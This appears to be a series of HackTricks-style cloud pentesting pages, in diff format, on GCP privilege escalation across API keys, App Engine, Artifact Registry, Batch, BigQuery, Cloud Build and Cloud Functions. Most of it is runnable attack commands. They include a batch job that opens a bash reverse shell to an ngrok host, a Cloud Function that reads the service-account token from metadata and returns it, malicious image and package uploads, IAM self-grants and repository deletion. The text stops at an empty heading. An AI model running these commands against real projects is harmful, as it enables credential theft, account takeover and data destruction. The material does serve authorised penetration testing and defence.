### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
This permission allows to **create an API key**:
|
||||
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
These permissions allows **list and get all the apiKeys and get the Key**:
|
||||
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done:
|
||||
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
|
||||
### Create Internal OAuth Application to phish other workers
|
||||
|
||||
Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,112 @@
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Those are the needed permissions to **deploy an App using `gcloud` cli**. Maybe the **`get`** and **`list`** ones could be **avoided**.
|
||||
|
||||
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
To change it and create a second App, in **`app.yaml`**, change the value of the root key to something like **`service: my-second-app`**
|
||||
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
|
||||
Give it at least 10-15min, if it doesn't work call **deploy another of times** and wait some minutes.
|
||||
|
||||
> [!NOTE]
|
||||
> It's **possible to indicate the Service Account to use** but by default, the App Engine default SA is used.
|
||||
|
||||
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Update equivalent permissions
|
||||
|
||||
You might have enough permissions to update an AppEngine but not to create a new one. In that case this is how you could update the current App Engine:
|
||||
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
|
||||
If you have **already compromised a AppEngine** and you have the permission **`appengine.applications.update`** and **actAs** over the service account to use you could modify the service account used by AppEngine with:
|
||||
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
With these permissions, it's possible to **login via ssh in App Engine instances** of type **flexible** (not standard). Some of the **`list`** and **`get`** permissions **could not be really needed**.
|
||||
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
I think this just change the background SA google will use to setup the applications, so I don't think you can abuse this to steal the service account.
|
||||
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Not sure how to use these permissions or if they are useful (note that when you change the code a new version is created so I don't know if you can just update the code or the IAM role of one, but I guess you should be able to, maybe changing the code inside the bucket??).
|
||||
|
||||
### Write Access over the buckets
|
||||
|
||||
As mentioned the appengine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name `appspot.com`.
|
||||
|
||||
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the AppEngine version by monitoring the bucket and any time a change is performed, modify as fast as possible the code. This way, the container that gets created from this code will **execute the backdoored code**.
|
||||
|
||||
For more information and a **PoC check the relevant information from this page**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
|
||||
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+173
@@ -0,0 +1,173 @@
|
||||
# GCP - Artifact Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
With this permission an attacker could upload new versions of the artifacts with malicious code like Docker images:
|
||||
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
|
||||
# tag the image to upload it
|
||||
docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> It was checked that it's **possible to upload a new malicious docker** image with the same name and tag as the one already present, so the **old one will lose the tag** and next time that image with that tag is **downloaded the malicious one** will be downloaded.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload a Python library</summary>
|
||||
|
||||
**Start by creating the library to upload** (if you can download the latest version from the registry you can avoid this step):
|
||||
|
||||
1. **Set up your project structure**:
|
||||
|
||||
- Create a new directory for your library, e.g., `hello_world_library`.
|
||||
- Inside this directory, create another directory with your package name, e.g., `hello_world`.
|
||||
- Inside your package directory, create an `__init__.py` file. This file can be empty or can contain initializations for your package.
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
cd hello_world_library
|
||||
mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
2. **Write your library code**:
|
||||
|
||||
- Inside the `hello_world` directory, create a new Python file for your module, e.g., `greet.py`.
|
||||
- Write your "Hello, World!" function:
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
3. **Create a `setup.py` file**:
|
||||
|
||||
- In the root of your `hello_world_library` directory, create a `setup.py` file.
|
||||
- This file contains metadata about your library and tells Python how to install it.
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
from setuptools import setup, find_packages
|
||||
|
||||
setup(
|
||||
name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
**Now, lets upload the library:**
|
||||
|
||||
1. **Build your package**:
|
||||
|
||||
- From the root of your `hello_world_library` directory, run:
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **Configure authentication for twine** (used to upload your package):
|
||||
- Ensure you have `twine` installed (`pip install twine`).
|
||||
- Use `gcloud` to configure credentials:
|
||||
|
||||
````
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
|
||||
3. **Clean the build**
|
||||
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> It's not possible to upload a python library with the same version as the one already present, but it's possible to upload **greater versions** (or add an extra **`.0` at the end** of the version if that works -not in python though-), or to **delete the last version an upload a new one with** (needed `artifactregistry.versions.delete)`**:**
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
With this permission you can **download artifacts** and search for **sensitive information** and **vulnerabilities**.
|
||||
|
||||
Download a **Docker** image:
|
||||
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
|
||||
Download a **python** library:
|
||||
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
|
||||
- What happens if a remote and a standard registries are mixed in a virtual one and a package exists in both? Check this page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Delete artifacts from the registry, like docker images:
|
||||
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Detele a full repository (even if it has content):
|
||||
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
An attacker with this permission could give himself permissions to perform some of the previously mentioned repository attacks.
|
||||
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
|
||||
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,58 @@
|
||||
# GCP - Batch Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Batch
|
||||
|
||||
Basic information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-batch-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
It's possible to create a batch job, get a reverse shell and exfiltrate the metadata token of the SA (compute SA by default).
|
||||
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
|
||||
"taskGroups": [
|
||||
{
|
||||
"taskCount": "1",
|
||||
"parallelism": "1",
|
||||
"taskSpec": {
|
||||
"computeResource": {
|
||||
"cpuMilli": "1000",
|
||||
"memoryMib": "512"
|
||||
},
|
||||
"runnables": [
|
||||
{
|
||||
"script": {
|
||||
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
|
||||
}
|
||||
}
|
||||
],
|
||||
"volumes": []
|
||||
}
|
||||
}
|
||||
],
|
||||
"allocationPolicy": {
|
||||
"instances": [
|
||||
{
|
||||
"policy": {
|
||||
"provisioningModel": "STANDARD",
|
||||
"machineType": "e2-micro"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
"logsPolicy": {
|
||||
"destination": "CLOUD_LOGGING"
|
||||
}
|
||||
}
|
||||
EOD
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,116 @@
|
||||
# GCP - BigQuery Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Table
|
||||
|
||||
Reading the information stored inside the a BigQuery table it might be possible to find s**ensitive information**. To access the info the permission needed is **`bigquery.tables.get`** , **`bigquery.jobs.create`** and **`bigquery.tables.getData`**:
|
||||
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
|
||||
### Export data
|
||||
|
||||
This is another way to access the data. **Export it to a cloud storage bucket** and the **download the files** with the information.\
|
||||
To perform this action the following permissions are needed: **`bigquery.tables.export`**, **`bigquery.jobs.create`** and **`storage.objects.create`**.
|
||||
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
|
||||
### Insert data
|
||||
|
||||
It might be possible to **introduce certain trusted data** in a Bigquery table to abuse a **vulnerability in some other place.** This can be easily done with the permissions **`bigquery.tables.get`** , **`bigquery.tables.updateData`** and **`bigquery.jobs.create`**:
|
||||
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
An attacker could abuse this privilege to **give himself further permissions** over a BigQuery dataset:
|
||||
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
--member='user:<email>' \
|
||||
--role='roles/bigquery.admin' \
|
||||
<proj>:<dataset>
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
Just this permission allows to **update your access over a BigQuery dataset by modifying the ACLs** that indicate who can access it:
|
||||
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
## Give permissions to the desired user
|
||||
bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
An attacker could abuse this privilege to **give himself further permissions** over a BigQuery table:
|
||||
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
--member='user:<email>' \
|
||||
--role='roles/bigquery.admin' \
|
||||
<proj>:<dataset>.<table>
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
According to the docs, with the mention permissions it's possible to **update a row policy.**\
|
||||
However, **using the cli `bq`** you need some more: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
|
||||
It's possible to find the filter ID in the output of the row policies enumeration. Example:
|
||||
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
Id Filter Predicate Grantees Creation Time Last Modified Time
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
|
||||
If you have **`bigquery.rowAccessPolicies.delete`** instead of `bigquery.rowAccessPolicies.update` you could also just delete the policy:
|
||||
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when `term` is `Cfba`, just modify all the records of the table to have `term = "Cfba"`. However this is prevented by bigquery.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
# GCP - ClientAuthConfig Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Create OAuth Brand and Client
|
||||
|
||||
[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), these are the required permissions:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
- `clientauthconfig.brands.get`
|
||||
- `clientauthconfig.clients.create`
|
||||
- `clientauthconfig.clients.listWithSecrets`
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_email=SUPPORT_EMAIL
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# GCP - Cloudbuild Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## cloudbuild
|
||||
|
||||
For more information about Cloud Build check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudbuild.builds.create`
|
||||
|
||||
With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\
|
||||
Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change).
|
||||
|
||||
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
|
||||
|
||||
For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
With this permission the user can get the **read access token** used to access the repository:
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
With this permission the user can get the **read and write access token** used to access the repository:
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
With this permission you can **get the repos the connection has access to:**
|
||||
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+111
@@ -0,0 +1,111 @@
|
||||
# GCP - Cloudfunctions Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
More information about Cloud Functions:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
An attacker with these privileges can **create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account**. Then, leak the Service Account token from the metadata to escalate privileges to it.\
|
||||
Some privileges to trigger the function might be required.
|
||||
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
An attacker with these privileges can **modify the code of a Function and even modify the service account attached** with the goal of exfiltrating the token.
|
||||
|
||||
> [!CAUTION]
|
||||
> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
|
||||
|
||||
Some extra privileges like `.call` permission for version 1 cloudfunctions or the role `role/run.invoker` to trigger the function might be required.
|
||||
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
|
||||
cat > $temp_dir/main.py <<EOF
|
||||
import subprocess
|
||||
|
||||
def main(request):
|
||||
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
|
||||
result = subprocess.check_output(cmd, shell=True, text=True)
|
||||
return result
|
||||
EOF
|
||||
|
||||
echo "" > $temp_dir/requirements.txt
|
||||
|
||||
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
|
||||
|
||||
# Update code
|
||||
gcloud functions deploy <cloudfunction-name> \
|
||||
--runtime python312 \
|
||||
--source $temp_dir \
|
||||
--entry-point main \
|
||||
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
|
||||
--trigger-http \
|
||||
--allow-unauthenticated
|
||||
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> If you get the error `Permission 'run.services.setIamPolicy' denied on resource...` is because you are using the `--allow-unauthenticated` param and you don't have enough permissions for it.
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
With this permission you can get a **signed URL to be able to upload a file to a function bucket (but the code of the function won't be changed, you still need to update it)**
|
||||
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
|
||||
Not really sure how useful only this permission is from an attackers perspective, but good to know.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Give yourself any of the previous **`.update`** or **`.create`** privileges to escalate.
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **won't be able to update the function SO THIS IS NOT A VALID PRIVESC.**
|
||||
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
If you have read and write access over the bucket you can monitor changes in the code and whenever an **update in the bucket happens you can update the new code with your own code** that the new version of the Cloud Function will be run with the submitted backdoored code.
|
||||
|
||||
You can check more about the attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
However, you cannot use this to pre-compromise third party Cloud Functions because if you create the bucket in your account and give it public permissions so the external project can write over it, you get the following error:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> However, this could be used for DoS attacks.
|
||||
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
